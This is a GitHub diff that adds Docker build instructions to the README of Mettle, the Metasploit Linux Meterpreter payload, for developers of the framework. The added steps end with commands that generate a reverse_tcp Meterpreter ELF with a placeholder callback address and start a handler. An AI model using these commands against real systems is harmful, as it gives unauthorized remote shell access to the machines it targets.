File tree Expand file tree Collapse file tree 1 file changed +46
-0
lines changed Expand file tree Collapse file tree 1 file changed +46
-0
lines changed Original file line number Diff line number Diff line change @@ -178,6 +178,52 @@ to_handler
178
178
179
179
180
180
## Docker
181
+ The following is to get Mettle set up locally via Docker and generate a payload.
182
+ 1 . Mount the Docker container within the Mettle directory:
183
+ ```
184
+ sudo docker run -it -v $(pwd):$(pwd) -w $(pwd) rapid7/build:mettle /bin/bash
185
+ ```
186
+ 2 .
187
+ Once the Docker container is up and running, run the ` make-all ` command:
188
+ ```
189
+ ./make-all
190
+ ```
191
+
192
+ 3 . Then run ` rake-build ` :
193
+ ```
194
+ rake build
195
+ ```
196
+
197
+ 4 . Copy the gem that was output via ` rake-build ` , this will be found in
198
+ ` pkg/metasploit_payloads-mettle-1.0.28.pre.dev.gem ` . Add this into your Metasploit-Framework directory.
199
+
200
+ 5 . Update ` metasploit-framework.gemspec ` and add ` -dev ` with the version of the gem above:
201
+ ```
202
+ spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.28-dev'
203
+ ```
204
+
205
+ 6 . Now within your Metasploit Framework directory, run the following commands:
206
+ ```
207
+ gem install metasploit_payloads-mettle-1.0.28.pre.dev.gem
208
+
209
+ bundle install
210
+ ```
211
+
212
+ 7 . Now you are able to generate the payload as normal - example of a linux target:
213
+ ```
214
+ use linux/x64/meterpreter/reverse_tcp
215
+
216
+ set LHOST xxx.xxx.xxx.xxx
217
+ set LPORT 4444
218
+
219
+ generate -f elf -o mettle.elf
220
+
221
+ chmod +x ./mettle.elf
222
+
223
+ to_handler
224
+ ```
225
+
226
+ ### Docker with debugging
181
227
The following steps make use of ` gdb ` for debugging.
182
228
1 . Run the Docker container:
183
229
```
You can’t perform that action at this time.
0 commit comments